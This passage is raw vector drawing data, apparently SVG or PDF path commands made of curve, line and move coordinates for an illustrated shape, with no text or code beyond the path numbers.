45.992188 C 37.433594 45.9375 37.351562 45.886719 37.234375 45.886719 C 37.019531 45.886719 37.019531 45.859375 37.246094 45.617188 C 37.378906 45.472656 37.445312 45.3125 37.40625 45.261719 C 37.351562 45.21875 37.3125 45.246094 37.3125 45.328125 C 37.3125 45.417969 37.195312 45.484375 37.046875 45.484375 C 36.898438 45.484375 36.78125 45.550781 36.78125 45.632812 C 36.78125 45.710938 36.699219 45.753906 36.621094 45.710938 C 36.207031 45.566406 35.875 45.871094 35.660156 46.578125 C 35.472656 47.226562 35.472656 47.292969 35.699219 47.546875 C 35.859375 47.71875 35.941406 48 35.925781 48.386719 C 35.914062 48.929688 36.019531 49.117188 36.152344 48.769531 C 36.207031 48.652344 36.234375 48.652344 36.234375 48.769531 C 36.246094 48.863281 36.128906 48.996094 35.980469 49.078125 C 35.835938 49.15625 35.714844 49.171875 35.726562 49.117188 C 35.769531 48.863281 35.699219 48.757812 35.59375 48.929688 C 35.5 49.0625 35.421875 49.078125 35.234375 48.957031 C 35.0625 48.863281 35.046875 48.824219 35.167969 48.8125 C 35.328125 48.8125 35.316406 48.769531 35.140625 48.570312 C 35.007812 48.425781 34.941406 48.144531 34.96875 47.773438 C 34.980469 47.46875 34.953125 47.214844 34.914062 47.214844 C 34.875 47.214844 34.847656 46.84375 34.847656 46.378906 C 34.847656 45.910156 34.78125 45.433594 34.6875 45.285156 C 34.488281 44.992188 34.460938 44.636719 34.636719 44.742188 C 34.703125 44.78125 34.820312 44.726562 34.914062 44.621094 C 35.046875 44.449219 35.035156 44.421875 34.78125 44.421875 C 34.5 44.421875 34.488281 44.410156 34.703125 44.101562 C 34.941406 43.71875 34.875 43.410156 34.5 43.316406 C 34.300781 43.265625 34.261719 43.171875 34.316406 42.917969 C 34.367188 42.734375 34.339844 42.546875 34.261719 42.492188 C 34.074219 42.386719 33.714844 41.535156 33.714844 41.214844 C 33.714844 41.070312 33.660156 40.964844 33.59375 40.964844 C 33.527344 40.964844 33.433594 40.777344 33.382812 40.566406 C 33.25 39.980469 32.78125 40.007812 32.78125 40.589844 C 32.769531 41.484375 32.609375 42.90625 32.488281 43.144531 C 32.382812 43.332031 32.394531 43.371094 32.53125 43.292969 C 32.648438 43.210938 32.664062 43.25 32.597656 43.4375 C 32.542969 43.570312 32.460938 43.902344 32.4375 44.15625 C 32.394531 44.410156 32.277344 44.714844 32.15625 44.859375 C 31.996094 45.035156 31.917969 45.417969 31.875 46.269531 C 31.824219 47.308594 31.851562 47.507812 32.15625 48.160156 C 32.542969 48.945312 33.183594 50.621094 33.183594 50.78125 C 33.167969 50.832031 33.050781 50.660156 32.902344 50.40625 C 32.757812 50.15625 32.664062 50.0625 32.703125 50.207031 C 32.730469 50.355469 32.78125 50.765625 32.824219 51.136719 C 32.847656 51.496094 32.847656 51.695312 32.824219 51.5625 C 32.742188 51.21875 32.4375 51.152344 31.851562 51.324219 C 31.210938 51.511719 30.582031 52.269531 30.355469 53.121094 C 30.15625 53.851562 29.542969 54.664062 29.171875 54.664062 C 29.039062 54.664062 28.917969 54.714844 28.917969 54.78125 C 28.917969 54.847656 28.71875 54.96875 28.492188 55.0625 C 28.25 55.15625 27.933594 55.355469 27.773438 55.488281 C 27.625 55.621094 26.800781 56.074219 25.945312 56.5 C 25.078125 56.925781 24.414062 57.308594 24.46875 57.347656 C 24.507812 57.390625 24.46875 57.46875 24.375 57.535156 C 24.265625 57.589844 24.242188 57.574219 24.308594 57.484375 C 24.425781 57.296875 24.09375 57.269531 23.921875 57.441406 C 23.839844 57.507812 23.28125 57.75 22.65625 57.960938 C 22.027344 58.1875 20.707031 58.679688 19.722656 59.050781 C 17.363281 59.957031 14.164062 61.046875 13.886719 61.046875 C 13.152344 61.046875 12.554688 62.085938 12.378906 63.628906 C 12.246094 64.878906 12.125 65.382812 11.753906 66.3125 C 11.605469 66.671875 11.445312 67.246094 11.40625 67.578125 C 11.0625 70.25 11.046875 71.261719 11.378906 73.109375 L 11.621094 74.480469 L 11.167969 75.011719 C 10.914062 75.304688 10.648438 75.742188 10.566406 75.996094 C 10.433594 76.410156 10.472656 76.566406 10.941406 77.566406 C 11.21875 78.175781 11.460938 78.828125 11.460938 79.015625 C 11.460938 79.203125 11.179688 79.878906 10.847656 80.542969 C 10.289062 81.648438 10.246094 81.796875 10.273438 82.660156 C 10.289062 83.484375 10.246094 83.710938 9.808594 84.640625 C 9.527344 85.214844 9.273438 85.90625 9.234375 86.171875 C 9.195312 86.4375 8.957031 87.046875 8.703125 87.527344 C 8.117188 88.644531 7.863281 90.226562 7.863281 92.765625 C 7.863281 94.921875 8.0625 95.945312 8.703125 97.144531 C 9.847656 99.296875 13.460938 101.878906 15.324219 101.878906 C 16.324219 101.878906 17.882812 101.214844 19.601562 100.070312 C 20.429688 99.523438 21.121094 99.113281 21.160156 99.136719 C 21.230469 99.21875 20.867188 100.8125 20.402344 102.476562 C 20.257812 102.980469 20.109375 103.582031 20.082031 103.804688 C 19.976562 104.445312 19.617188 105.789062 18.988281 107.863281 C 18.136719 110.710938 18.285156 110.46875 17.3125 110.5625 C 16.003906 110.710938 15.324219 110.683594 15.324219 110.484375 C 15.324219 110.390625 15.539062 109.605469 15.792969 108.726562 C 16.058594 107.851562 16.539062 106.054688 16.871094 104.738281 C 17.203125 103.421875 17.496094 102.238281 17.539062 102.117188 C 17.589844 101.917969 17.539062 101.917969 16.925781 102.15625 C 16.550781 102.304688 15.898438 102.4375 15.484375 102.476562 C 15.070312 102.503906 14.324219 102.621094 13.832031 102.742188 C 12.648438 103.007812 12.101562 102.914062 10.582031 102.144531 C 7.582031 100.613281 5.691406 98.488281 5.050781 95.894531 C 4.8125 94.976562 4.824219 91 5.050781 89.773438 C 5.144531 89.296875 5.4375 88.363281 5.71875 87.714844 C 5.996094 87.046875 6.261719 86.332031 6.316406 86.117188 C 6.371094 85.890625 6.597656 85.320312 6.808594 84.828125 C 7.078125 84.214844 7.195312 83.722656 7.195312 83.230469 C 7.195312 82.339844 7.460938 81.410156 7.996094 80.453125 C 8.488281 79.546875 8.488281 79.335938 7.996094 78.203125 C 7.503906 77.074219 7.476562 76.34375 7.929688 75.609375 C 8.460938 74.746094 8.488281 74.585938 8.382812 73.683594 C 7.996094 70.621094 8.128906 68.574219 8.863281 66.234375 C 9.113281 65.4375 9.355469 64.464844 9.394531 64.078125 C 9.527344 63.015625 9.847656 62.136719 10.289062 61.644531 C 10.609375 61.273438 10.992188 61.101562 12.566406 60.566406 C 15.363281 59.636719 20.867188 57.46875 22.921875 56.472656 C 25.691406 55.140625 26.304688 54.625 27.878906 52.28125 C 28.089844 51.964844 28.53125 51.578125 28.917969 51.378906 C 29.570312 51.019531 29.585938 50.992188 29.585938 50.378906 C 29.585938 49.953125 29.425781 49.371094 29.132812 48.652344 C 28.878906 48.039062 28.636719 47.203125 28.585938 46.777344 C 28.492188 46.097656 28.4375 45.976562 27.945312 45.59375 C 27.625 45.328125 27.277344 44.886719 27.078125 44.421875 C 26.773438 43.769531 26.71875 43.449219 26.640625 41.429688 C 26.585938 40.179688 26.4375 38.742188 26.332031 38.238281 C 26.226562 37.71875 26.132812 36.960938 26.121094 36.535156 C 26.121094 36.109375 25.984375 35.3125 25.828125 34.753906 C 25.558594 33.835938 25.546875 33.664062 25.691406 32.410156 C 25.839844 31.09375 25.878906 30.988281 26.984375 28.792969 C 27.613281 27.542969 28.117188 26.46875 28.117188 26.386719 C 28.117188 26.308594 28.292969 25.976562 28.519531 25.640625 C 28.945312 25.015625 30.824219 23.59375 32.089844 22.957031 C 33.355469 22.316406 36.527344 21.28125 37.648438 21.148438 C 38.234375 21.066406 38.925781 20.960938 39.179688 20.894531 C 39.445312 20.828125 47.589844 20.773438 57.875 20.761719 L 76.09375 20.746094 Z M 33.050781 45.351562 C 33.050781 45.417969 32.980469 45.484375 32.902344 45.484375 C 32.835938 45.484375 32.808594 45.417969 32.847656 45.351562 C 32.890625 45.273438 32.957031 45.21875 32.996094 45.21875 C 33.023438 45.21875 33.050781 45.273438 33.050781 45.351562 Z M 33.476562 45.59375 C 33.289062 45.644531 33.261719 46.363281 33.449219 46.484375 C 33.527344 46.523438 33.582031 46.496094 33.582031 46.402344 C 33.582031 46.3125 33.621094 46.269531 33.660156 46.3125 C 33.703125 46.363281 33.648438 46.535156 33.542969 46.710938 C 33.410156 46.921875 33.355469 47.320312 33.382812 48.039062 C 33.421875 49.105469 33.277344 49.421875 33.128906 48.636719 C 32.890625 47.46875 32.835938 46.855469 32.929688 46.523438 C 32.996094 46.285156 32.96875 46.152344 32.875 46.109375 C 32.769531 46.085938 32.796875 45.953125 32.957031 45.710938 C 33.117188 45.472656 33.25 45.394531 33.410156 45.445312 C 33.554688 45.5 33.582031 45.550781 33.476562 45.59375 Z M 34.714844 45.726562 C 34.675781 45.765625 34.566406 45.726562 34.476562 45.632812 C 34.355469 45.5 34.367188 45.484375 34.554688 45.566406 C 34.6875 45.605469 34.753906 45.683594 34.714844 45.726562 Z M 33.980469 47.601562 C 33.980469 47.746094 33.929688 47.90625 33.847656 47.945312 C 33.769531 48 33.714844 47.878906 33.714844 47.695312 C 33.714844 47.507812 33.78125 47.347656 33.847656 47.347656 C 33.929688 47.347656 33.980469 47.46875 33.980469 47.601562 Z M 40.246094 48.8125 C 40.246094 48.878906 40.179688 48.945312 40.097656 48.945312 C 40.03125 48.945312 40.003906 48.878906 40.046875 48.8125 C 40.085938 48.730469 40.152344 48.679688 40.191406 48.679688 C 40.21875 48.679688 40.246094 48.730469 40.246094 48.8125 Z M 38.113281 48.996094 C 38.019531 49.089844 37.925781 49.078125 37.832031 48.984375 C 37.714844 48.863281 37.738281 48.824219 37.953125 48.851562 C 38.140625 48.863281 38.191406 48.917969 38.113281 48.996094 Z M 33.636719 49.820312 C 33.675781 49.929688 33.660156 49.980469 33.582031 49.941406 C 33.503906 49.902344 33.449219 49.808594 33.449219 49.730469 C 33.449219 49.542969 33.542969 49.582031 33.636719 49.820312 Z M 36.0625 49.929688 C 36.074219 50.019531 36.007812 50.101562 35.914062 50.101562 C 35.820312 50.101562 35.78125 49.996094 35.820312 49.847656 C 35.886719 49.582031 36.019531 49.621094 36.0625 49.929688 Z M 31.941406 54.15625 C 31.902344 54.265625 31.863281 54.222656 31.863281 54.078125 C 31.851562 53.929688 31.890625 53.851562 31.929688 53.90625 C 31.96875 53.945312 31.984375 54.066406 31.941406 54.15625 Z M 30.890625 59.132812 C 31.4375 59.503906 31.730469 60.382812 31.503906 60.96875 C 31.464844 61.085938 31.371094 61.179688 31.289062 61.179688 C 31.222656 61.179688 31.195312 61.125 31.25 61.058594 C 31.289062 60.980469 31.171875 60.980469 30.929688 61.046875 C 30.625 61.125 30.421875 61.085938 29.96875 60.808594 C 29.609375 60.59375 29.382812 60.527344 29.34375 60.621094 C 29.316406 60.703125 29.222656 60.742188 29.132812 60.703125 C 29.039062 60.660156 28.730469 60.925781 28.464844 61.273438 C 28.023438 61.832031 27.972656 61.976562 28.023438 62.46875 C 28.089844 63.09375 28.050781 63.148438 27.707031 62.84375 C 27.503906 62.644531 27.480469 62.65625 27.386719 63.003906 C 27.320312 63.203125 27.277344 63.414062 27.292969 63.46875 C 27.304688 63.535156 27.253906 63.574219 27.183594 63.574219 C 26.972656 63.574219 27.027344 64.054688 27.292969 64.359375 C 27.4375 64.53125 27.90625 64.730469 28.570312 64.902344 C 29.609375 65.171875 30.757812 65.261719 30.195312 65.050781 C 30.011719 64.96875 29.929688 64.8125 29.917969 64.4375 C 29.890625 63.839844 30.0625 63.082031 30.289062 62.828125 C 30.675781 62.390625 30.785156 62.242188 30.785156 62.125 C 30.785156 62.058594 30.851562 61.953125 30.929688 61.898438 C 31.050781 61.832031 31.0625 61.976562 30.996094 62.457031 C 30.945312 62.921875 30.996094 63.359375 31.171875 64 C 31.597656 65.460938 31.675781 65.582031 32.636719 65.929688 C 33.101562 66.085938 33.554688 66.289062 33.636719 66.355469 C 33.714844 66.433594 34.023438 66.433594 34.382812 66.367188 C 35.300781 66.179688 36.488281 66.207031 36.898438 66.421875 C 37.394531 66.6875 37.980469 67.550781 37.980469 68.042969 C 37.980469 68.253906 37.859375 68.628906 37.714844 68.867188 C 37.566406 69.105469 37.445312 69.503906 37.445312 69.757812 C 37.445312 70.238281 37.21875 70.503906 37.046875 70.222656 C 36.992188 70.144531 36.898438 70.0625 36.832031 70.078125 C 36.488281 70.089844 36.019531 69.878906 35.753906 69.597656 C 35.234375 69.054688 35.035156 69.1875 34.886719 70.144531 C 34.835938 70.515625 34.300781 70.554688 34.207031 70.199219 C 34.15625 70.039062 34.183594 69.839844 34.261719 69.746094 C 34.355469 69.640625 34.339844 69.546875 34.234375 69.480469 C 34.140625 69.425781 34.113281 69.4375 34.15625 69.519531 C 34.207031 69.597656 34.15625 69.730469 34.046875 69.824219 C 33.902344 69.957031 33.808594 69.945312 33.648438 69.773438 C 33.503906 69.625 33.316406 69.585938 33.074219 69.640625 C 32.875 69.691406 32.757812 69.679688 32.824219 69.625 C 32.914062 69.519531 31.703125 69.132812 30.71875 68.960938 C 30.078125 68.839844 28.730469 68.335938 28.625 68.175781 C 28.558594 68.070312 28.519531 68.082031 28.519531 68.203125 C 28.519531 68.320312 28.425781 68.347656 28.265625 68.296875 C 28.117188 68.253906 27.972656 68.28125 27.933594 68.347656 C 27.796875 68.546875 28.398438 68.894531 28.851562 68.894531 C 29.332031 68.894531 31.96875 69.597656 32.609375 69.90625 C 33.140625 70.144531 33.234375 70.316406 33.449219 71.449219 C 33.59375 72.179688 33.59375 72.433594 33.460938 72.855469 C 33.367188 73.136719 33.207031 73.375 33.101562 73.375 C 32.996094 73.375 32.914062 73.308594 32.914062 73.242188 C 32.914062 73.175781 32.835938 73.148438 32.730469 73.191406 C 32.316406 73.347656 32.394531 72.855469 32.847656 72.472656 C 33.101562 72.246094 33.316406 71.964844 33.300781 71.832031 C 33.300781 71.699219 33.277344 71.6875 33.222656 71.792969 C 33.195312 71.875 33.117188 71.925781 33.050781 71.886719 C 32.980469 71.847656 32.835938 71.914062 32.714844 72.03125 C 32.597656 72.152344 32.34375 72.246094 32.15625 72.246094 C 31.808594 72.246094 31.277344 72.605469 31.570312 72.632812 C 31.648438 72.644531 31.78125 72.65625 31.875 72.671875 C 31.957031 72.671875 32.050781 72.75 32.078125 72.84375 C 32.15625 73.082031 31.449219 72.910156 31.195312 72.632812 C 30.730469 72.097656 29.183594 71.738281 26.800781 71.621094 C 25.960938 71.582031 25.707031 71.59375 25.828125 71.714844 C 25.90625 71.792969 26.265625 71.886719 26.613281 71.898438 C 29.703125 72.085938 30.0625 72.152344 30.53125 72.5 C 32.144531 73.734375 32.503906 74.332031 32.035156 74.984375 C 31.851562 75.25 31.476562 75.425781 31.636719 75.171875 C 31.675781 75.105469 31.25 75.078125 30.703125 75.09375 C 29.824219 75.117188 29.703125 75.09375 29.769531 74.890625 C 29.835938 74.707031 29.824219 74.71875 29.664062 74.90625 C 29.570312 75.039062 29.449219 75.144531 29.410156 75.144531 C 29.359375 75.144531 29.371094 75.039062 29.410156 74.90625 C 29.492188 74.707031 29.476562 74.691406 29.25 74.878906 C 29.023438 75.066406 29.011719 75.050781 29.089844 74.839844 C 29.132812 74.71875 29.117188 74.613281 29.050781 74.613281 C 28.972656 74.613281 28.917969 74.691406 28.917969 74.800781 C 28.917969 75.078125 28.625 74.984375 28.210938 74.558594 C 27.972656 74.320312 27.746094 74.214844 27.570312 74.253906 C 27.386719 74.308594 27.320312 74.253906 27.320312 74.054688 C 27.320312 73.683594 27.09375 73.882812 26.984375 74.347656 C 26.933594 74.574219 26.839844 74.707031 26.773438 74.667969 C 26.691406 74.625 26.144531 74.574219 25.546875 74.558594 C 24.46875 74.53125 23.894531 74.347656 23.679688 73.988281 C 23.585938 73.839844 23.519531 73.839844 23.375 73.960938 C 23.28125 74.042969 23.09375 74.082031 22.988281 74.027344 C 22.761719 73.949219 22.773438 73.933594 22.722656 74.707031 C 22.695312 75.238281 22.480469 75.675781 22.253906 75.675781 C 22.203125 75.675781 22.175781 75.515625 22.203125 75.304688 C 22.253906 74.972656 22.242188 74.984375 22.042969 75.410156 C 21.761719 75.996094 21.628906 77.3125 21.722656 78.601562 C 21.828125 80.121094 22.402344 81.210938 23.695312 82.433594 C 24.359375 83.046875 24.785156 83.363281 24.921875 83.3125 C 25.027344 83.269531 25.214844 83.21875 25.332031 83.191406 C 26.332031 82.992188 26.691406 82.792969 26.878906 82.339844 C 27.132812 81.742188 28.117188 80.253906 28.585938 79.746094 C 28.863281 79.441406 28.957031 79.1875 29.023438 78.578125 C 29.117188 77.460938 29.316406 77.886719 29.316406 79.203125 C 29.304688 81.050781 28.570312 82.472656 26.917969 83.871094 C 26.265625 84.429688 26.011719 84.722656 26.054688 84.894531 C 26.132812 85.304688 25.984375 85.53125 25.71875 85.386719 C 25.601562 85.320312 25.453125 85.304688 25.398438 85.347656 C 25.359375 85.386719 25.320312 85.320312 25.320312 85.199219 C 25.320312 85.011719 25.253906 84.972656 24.988281 85.039062 C 24.800781 85.09375 24.441406 85.039062 24.1875 84.921875 C 23.46875 84.628906 22.441406 84.523438 22.320312 84.722656 C 22.253906 84.839844 22.269531 84.867188 22.363281 84.800781 C 22.453125 84.746094 22.519531 84.761719 22.519531 84.8125 C 22.519531 84.878906 22.773438 84.945312 23.082031 84.972656 C 23.773438 85.011719 24.585938 85.359375 25.09375 85.839844 C 25.292969 86.023438 25.519531 86.183594 25.601562 86.183594 C 25.757812 86.183594 25.519531 86.675781 25.148438 87.089844 C 24.878906 87.382812 24.878906 87.382812 25.132812 87.566406 C 25.332031 87.726562 25.347656 87.792969 25.226562 87.925781 C 25.027344 88.125 24.519531 87.898438 23.628906 87.207031 C 23.320312 86.980469 22.867188 86.648438 22.613281 86.503906 C 22.1875 86.238281 22.136719 86.238281 21.933594 86.421875 C 21.734375 86.621094 21.722656 86.4375 21.722656 84.054688 C 21.722656 82.207031 21.667969 81.238281 21.535156 80.664062 C 21.28125 79.652344 21.269531 77.035156 21.507812 76.140625 C 21.761719 75.160156 22.1875 74.265625 22.589844 73.882812 C 22.773438 73.683594 22.894531 73.46875 22.855469 73.402344 C 22.746094 73.242188 23.253906 72.589844 23.386719 72.722656 C 23.441406 72.777344 23.46875 72.722656 23.453125 72.617188 C 23.414062 72.296875 23.601562 71.820312 23.746094 71.898438 C 23.828125 71.953125 23.867188 71.820312 23.855469 71.605469 C 23.839844 71.394531 23.839844 71.195312 23.855469 71.15625 C 23.960938 70.875 23.894531 70.183594 23.761719 70.132812 C 23.507812 70.039062 23.546875 69.664062 23.933594 68.667969 C 24.121094 68.175781 24.441406 67.285156 24.640625 66.699219 C 24.945312 65.808594 25.09375 65.582031 25.492188 65.316406 C 25.867188 65.0625 26.027344 64.835938 26.171875 64.320312 C 26.304688 63.894531 26.546875 63.46875 26.839844 63.1875 C 27.171875 62.867188 27.386719 62.46875 27.570312 61.832031 C 27.773438 61.207031 27.972656 60.835938 28.25 60.609375 C 28.476562 60.421875 28.652344 60.210938 28.652344 60.128906 C 28.652344 60.0625 28.929688 59.757812 29.265625 59.464844 C 29.945312 58.878906 30.398438 58.773438 30.890625 59.132812 Z M 43.242188 60.25 C 43.203125 60.316406 42.84375 60.6875 42.457031 61.046875 C 41.976562 61.5 41.75 61.820312 41.75 62.042969 C 41.75 62.230469 41.804688 62.335938 41.859375 62.296875 C 41.925781 62.257812 41.976562 62.269531 41.964844 62.335938 C 41.910156 62.601562 41.992188 62.65625 42.21875 62.496094 C 42.335938 62.402344 42.402344 62.363281 42.351562 62.429688 C 42.296875 62.496094 42.324219 62.667969 42.390625 62.816406 C 42.511719 63.027344 42.5625 63.042969 42.65625 62.894531 C 42.722656 62.777344 42.75 62.910156 42.710938 63.226562 C 42.671875 63.519531 42.578125 63.828125 42.496094 63.933594 C 42.417969 64.027344 42.390625 64.105469 42.445312 64.105469 C 42.511719 64.105469 43.003906 63.640625 43.535156 63.070312 C 44.082031 62.511719 44.46875 62.164062 44.402344 62.308594 C 44.175781 62.75 42.191406 64.8125 42.136719 64.652344 C 42.109375 64.570312 41.976562 64.503906 41.832031 64.503906 C 41.699219 64.503906 41.589844 64.464844 41.605469 64.398438 C 41.617188 64.34375 41.589844 64.160156 41.539062 63.972656 C 41.378906 63.308594 41.3125 62.710938 41.417969 62.867188 C 41.472656 62.960938 41.589844 62.988281 41.699219 62.921875 C 41.832031 62.828125 41.84375 62.75 41.722656 62.523438 C 41.632812 62.363281 41.605469 62.164062 41.65625 62.070312 C 41.699219 61.992188 41.523438 62.152344 41.257812 62.445312 C 40.683594 63.09375 40.632812 62.960938 41.179688 62.175781 C 41.644531 61.5 43.601562 59.675781 43.242188 60.25 Z M 42.921875 63.480469 C 42.789062 63.601562 42.777344 63.585938 42.855469 63.402344 C 42.898438 63.269531 42.976562 63.203125 43.015625 63.242188 C 43.058594 63.28125 43.015625 63.386719 42.921875 63.480469 Z M 43.976562 64.171875 C 43.804688 64.359375 43.617188 64.503906 43.550781 64.503906 C 43.484375 64.503906 43.589844 64.332031 43.804688 64.121094 C 44.257812 63.652344 44.417969 63.707031 43.976562 64.171875 Z M 43.644531 64.957031 C 43.496094 65.0625 43.429688 65.210938 43.484375 65.355469 C 43.535156 65.488281 43.523438 65.554688 43.445312 65.503906 C 43.191406 65.34375 43.308594 65.636719 43.777344 66.328125 C 44.390625 67.230469 44.375 67.363281 43.761719 66.539062 C 43.496094 66.195312 43.058594 65.675781 42.804688 65.394531 C 42.335938 64.917969 42.324219 64.691406 42.789062 65.117188 C 42.992188 65.304688 43.015625 65.304688 42.992188 65.078125 C 42.976562 64.917969 43.097656 64.824219 43.375 64.769531 C 43.882812 64.664062 43.964844 64.71875 43.644531 64.957031 Z M 42.65625 66.339844 C 43.269531 66.992188 43.882812 67.722656 44.015625 67.976562 C 44.230469 68.386719 44.230469 68.402344 44.015625 68.097656 C 43.898438 67.910156 43.21875 67.179688 42.523438 66.460938 C 41.832031 65.753906 41.324219 65.171875 41.40625 65.171875 C 41.484375 65.171875 42.042969 65.703125 42.65625 66.339844 Z M 67.523438 67.589844 C 67.484375 67.695312 67.445312 67.65625 67.445312 67.511719 C 67.429688 67.363281 67.46875 67.285156 67.511719 67.339844 C 67.550781 67.378906 67.5625 67.496094 67.523438 67.589844 Z M 23.480469 71.78125 C 23.375 71.953125 23.359375 71.898438 23.386719 71.539062 C 23.441406 70.957031 23.480469 70.890625 23.546875 71.25 C 23.574219 71.40625 23.546875 71.648438 23.480469 71.78125 Z M 35.007812 71.847656 C 34.96875 71.953125 34.929688 71.914062 34.929688 71.765625 C 34.914062 71.621094 34.953125 71.539062 34.996094 71.59375 C 35.035156 71.632812 35.046875 71.753906 35.007812 71.847656 Z M 34.648438 72.644531 C 34.488281 72.777344 34.25 72.882812 34.128906 72.882812 C 34.007812 72.871094 34.113281 72.789062 34.355469 72.683594 C 34.59375 72.578125 34.78125 72.390625 34.792969 72.257812 C 34.792969 72.085938 34.820312 72.074219 34.875 72.207031 C 34.914062 72.3125 34.820312 72.511719 34.648438 72.644531 Z M 21.496094 75.144531 C 21.457031 75.304688 21.386719 75.398438 21.347656 75.359375 C 21.28125 75.277344 21.414062 74.878906 21.507812 74.878906 C 21.535156 74.878906 21.535156 75 21.496094 75.144531 Z M 29.851562 75.984375 C 29.863281 76.34375 29.878906 76.367188 29.996094 76.167969 C 30.0625 76.050781 30.089844 75.875 30.050781 75.808594 C 30.011719 75.730469 30.039062 75.675781 30.105469 75.675781 C 30.332031 75.675781 30.277344 75.875 29.851562 76.699219 C 29.542969 77.3125 29.476562 77.394531 29.519531 77.074219 C 29.542969 76.847656 29.570312 76.382812 29.570312 76.035156 C 29.585938 75.332031 29.851562 75.277344 29.851562 75.984375 Z M 26.585938 75.941406 C 26.625 76.023438 26.574219 76.035156 26.464844 75.996094 C 26.226562 75.902344 26.1875 75.808594 26.371094 75.808594 C 26.453125 75.808594 26.546875 75.863281 26.585938 75.941406 Z M 20.65625 75.996094 C 20.65625 76.023438 20.550781 76.128906 20.429688 76.222656 C 20.214844 76.394531 20.203125 76.382812 20.375 76.167969 C 20.550781 75.957031 20.65625 75.890625 20.65625 75.996094 Z M 22.175781 76.808594 C 22.109375 77.058594 22.136719 77.140625 22.269531 77.113281 C 22.386719 77.085938 22.441406 77.167969 22.414062 77.300781 C 22.386719 77.460938 22.441406 77.511719 22.589844 77.460938 C 22.695312 77.417969 22.789062 77.3125 22.789062 77.234375 C 22.789062 77.140625 22.933594 77.234375 23.121094 77.433594 C 23.308594 77.632812 23.414062 77.871094 23.375 77.976562 C 23.335938 78.085938 23.359375 78.21875 23.441406 78.269531 C 23.535156 78.324219 23.546875 78.257812 23.492188 78.109375 C 23.425781 77.925781 23.453125 77.898438 23.585938 78.03125 C 23.8125 78.230469 23.652344 78.617188 23.386719 78.523438 C 23.253906 78.46875 23.1875 78.523438 23.1875 78.710938 C 23.1875 78.867188 23.066406 79.015625 22.90625 79.070312 C 22.601562 79.175781 21.949219 78.894531 22.066406 78.710938 C 22.109375 78.65625 22.082031 78.601562 22.015625 78.601562 C 21.816406 78.601562 21.816406 76.902344 22.015625 76.6875 C 22.253906 76.410156 22.269531 76.421875 22.175781 76.808594 Z M 19.855469 76.925781 C 19.855469 76.953125 19.75 77.058594 19.628906 77.152344 C 19.417969 77.328125 19.402344 77.3125 19.578125 77.101562 C 19.75 76.886719 19.855469 76.820312 19.855469 76.925781 Z M 18.828125 78.269531 C 18.789062 78.390625 18.722656 78.457031 18.695312 78.417969 C 18.65625 78.375 18.671875 78.296875 18.722656 78.21875 C 18.84375 78.003906 18.921875 78.042969 18.828125 78.269531 Z M 27.453125 79.292969 C 27.09375 79.800781 26.640625 80.265625 26.453125 80.277344 C 26.371094 80.292969 26.210938 80.1875 26.09375 80.050781 C 25.960938 79.90625 25.917969 79.800781 26 79.800781 C 26.066406 79.800781 26.105469 79.746094 26.066406 79.679688 C 26.027344 79.613281 26.238281 79.535156 26.53125 79.480469 C 26.824219 79.425781 27.199219 79.253906 27.359375 79.09375 C 27.757812 78.667969 27.8125 78.761719 27.453125 79.292969 Z M 17.457031 79.851562 C 17.457031 79.878906 17.351562 79.984375 17.230469 80.078125 C 17.019531 80.253906 17.003906 80.238281 17.175781 80.027344 C 17.351562 79.8125 17.457031 79.746094 17.457031 79.851562 Z M 26.121094 80.703125 C 26.121094 80.796875 26.066406 80.835938 25.984375 80.796875 C 25.917969 80.757812 25.851562 80.585938 25.851562 80.425781 C 25.851562 80.1875 25.878906 80.171875 25.984375 80.332031 C 26.054688 80.4375 26.121094 80.609375 26.121094 80.703125 Z M 11.421875 81.355469 C 11.128906 81.648438 11.035156 81.6875 10.902344 81.554688 C 10.753906 81.410156 10.769531 81.394531 10.941406 81.460938 C 11.0625 81.503906 11.246094 81.421875 11.394531 81.261719 C 11.527344 81.117188 11.671875 80.996094 11.714844 80.996094 C 11.753906 80.996094 11.621094 81.15625 11.421875 81.355469 Z M 68.335938 81.742188 C 68.828125 81.835938 68.828125 81.875 68.5625 82.554688 C 68.148438 83.617188 67.949219 84.972656 67.871094 87.339844 C 67.789062 89.722656 67.789062 89.75 67.46875 89.894531 C 67.03125 90.09375 66.203125 90.082031 65.910156 89.867188 C 65.710938 89.722656 65.683594 89.535156 65.726562 88.738281 C 65.75 87.925781 65.726562 87.78125 65.550781 87.78125 C 65.433594 87.78125 64.671875 87.992188 63.847656 88.246094 L 62.351562 88.722656 L 61.898438 89.441406 C 61.378906 90.253906 61.273438 90.332031 60.980469 90.226562 C 60.460938 90.027344 60.609375 89.65625 62.019531 87.6875 C 63.671875 85.371094 65.699219 82.753906 66.390625 82.019531 C 66.910156 81.460938 66.976562 81.460938 68.335938 81.742188 Z M 60.6875 81.914062 C 61.78125 82.246094 62.101562 82.554688 62.101562 83.285156 C 62.101562 84.175781 61.859375 84.8125 61.3125 85.386719 C 60.886719 85.839844 60.726562 85.917969 60.273438 85.917969 C 59.25 85.917969 59.035156 85.4375 59.660156 84.535156 C 60.5 83.3125 60.113281 83.003906 59.007812 84.015625 C 57.769531 85.1875 56.609375 87.128906 56.304688 88.539062 C 56.183594 89.136719 56.582031 89.507812 57.34375 89.507812 C 57.914062 89.507812 59.289062 88.949219 59.929688 88.445312 C 60.328125 88.140625 60.632812 88.097656 60.632812 88.363281 C 60.632812 88.632812 59.527344 89.574219 58.796875 89.933594 C 58.050781 90.292969 56.691406 90.398438 55.863281 90.1875 C 55.542969 90.09375 55.105469 89.855469 54.863281 89.640625 C 54.464844 89.296875 54.4375 89.203125 54.449219 88.417969 C 54.476562 86.464844 56.289062 83.152344 57.929688 82.074219 C 58.675781 81.582031 59.476562 81.527344 60.6875 81.914062 Z M 15.113281 82.421875 C 14.832031 82.777344 14.550781 83.070312 14.5 83.097656 C 14.445312 83.125 14.445312 83.246094 14.484375 83.363281 C 14.550781 83.539062 14.527344 83.5625 14.390625 83.429688 C 14.257812 83.3125 14.351562 83.125 14.859375 82.539062 C 15.632812 81.636719 15.816406 81.554688 15.113281 82.421875 Z M 13.992188 83.789062 C 13.914062 83.9375 13.820312 84.054688 13.78125 84.054688 C 13.753906 84.054688 13.78125 83.9375 13.859375 83.789062 C 13.9375 83.644531 14.03125 83.523438 14.074219 83.523438 C 14.097656 83.523438 14.074219 83.644531 13.992188 83.789062 Z M 27.585938 84.722656 C 27.503906 84.878906 27.398438 84.988281 27.359375 84.945312 C 27.332031 84.90625 27.371094 84.761719 27.464844 84.601562 C 27.691406 84.253906 27.785156 84.347656 27.585938 84.722656 Z M 13.644531 84.5625 C 13.6875 84.628906 13.632812 84.679688 13.527344 84.679688 C 13.417969 84.679688 13.367188 84.628906 13.40625 84.5625 